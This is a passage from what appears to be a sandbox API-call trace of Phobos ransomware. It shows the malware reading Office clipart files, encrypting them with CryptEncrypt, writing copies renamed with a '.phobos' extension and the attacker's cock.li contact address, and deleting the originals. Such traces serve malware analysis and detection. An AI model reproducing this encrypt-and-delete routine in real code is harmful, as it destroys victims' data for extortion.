(hKey=0x10ce70) returned 1 [0058.595] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.595] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0058.595] CloseHandle (hObject=0x318) returned 1 [0058.595] CloseHandle (hObject=0x308) returned 1 [0058.596] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0058.597] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.598] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=26886) returned 1 [0058.598] CloseHandle (hObject=0x308) returned 1 [0058.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0058.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.598] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.598] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.598] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0058.598] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.598] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x6906, lpOverlapped=0x0) returned 1 [0058.608] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6910, dwBufLen=0x6910 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6910) returned 1 [0058.608] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x6910, lpOverlapped=0x0) returned 1 [0058.610] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0058.610] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.610] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.610] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0058.610] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.610] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.610] CloseHandle (hObject=0x308) returned 1 [0058.610] CloseHandle (hObject=0x318) returned 1 [0058.611] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0058.612] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.613] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=11636) returned 1 [0058.613] CloseHandle (hObject=0x318) returned 1 [0058.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0058.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.613] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.613] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.613] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0058.613] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.613] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2d74, lpOverlapped=0x0) returned 1 [0058.622] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2d80) returned 1 [0058.622] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2d80, lpOverlapped=0x0) returned 1 [0058.623] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0058.623] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.623] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.623] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.623] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.623] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0058.623] CloseHandle (hObject=0x318) returned 1 [0058.623] CloseHandle (hObject=0x308) returned 1 [0058.624] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0058.625] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.625] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=16180) returned 1 [0058.625] CloseHandle (hObject=0x308) returned 1 [0058.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0058.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.626] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.626] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.626] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb30) returned 1 [0058.626] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.626] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3f34, lpOverlapped=0x0) returned 1 [0058.633] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f40) returned 1 [0058.633] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3f40, lpOverlapped=0x0) returned 1 [0058.634] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0058.634] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.634] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.634] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0058.634] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.634] CryptDestroyKey (hKey=0x10cb30) returned 1 [0058.634] CloseHandle (hObject=0x308) returned 1 [0058.634] CloseHandle (hObject=0x318) returned 1 [0058.635] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0058.637] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.642] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=16112) returned 1 [0058.642] CloseHandle (hObject=0x308) returned 1 [0058.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0058.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.644] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.644] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.644] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ca30) returned 1 [0058.644] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.644] ReadFile (in: hFile=0x324, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3ef0, lpOverlapped=0x0) returned 1 [0058.710] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f00, dwBufLen=0x3f00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f00) returned 1 [0058.710] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3f00, lpOverlapped=0x0) returned 1 [0058.711] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0058.711] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.711] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.711] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.711] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.712] CryptDestroyKey (hKey=0x10ca30) returned 1 [0058.712] CloseHandle (hObject=0x324) returned 1 [0058.712] CloseHandle (hObject=0x304) returned 1 [0058.713] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0058.714] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.917] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=26748) returned 1 [0058.917] CloseHandle (hObject=0x33c) returned 1 [0058.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0058.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.918] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.918] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.918] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0058.918] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.918] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x687c, lpOverlapped=0x0) returned 1 [0058.941] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6880, dwBufLen=0x6880 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6880) returned 1 [0058.941] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x6880, lpOverlapped=0x0) returned 1 [0058.942] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbf0) returned 1 [0058.942] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.942] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.942] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0058.942] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.942] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0058.942] CloseHandle (hObject=0x33c) returned 1 [0058.942] CloseHandle (hObject=0x304) returned 1 [0058.944] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0058.945] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.946] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=47996) returned 1 [0058.946] CloseHandle (hObject=0x304) returned 1 [0058.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0058.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.946] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.946] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 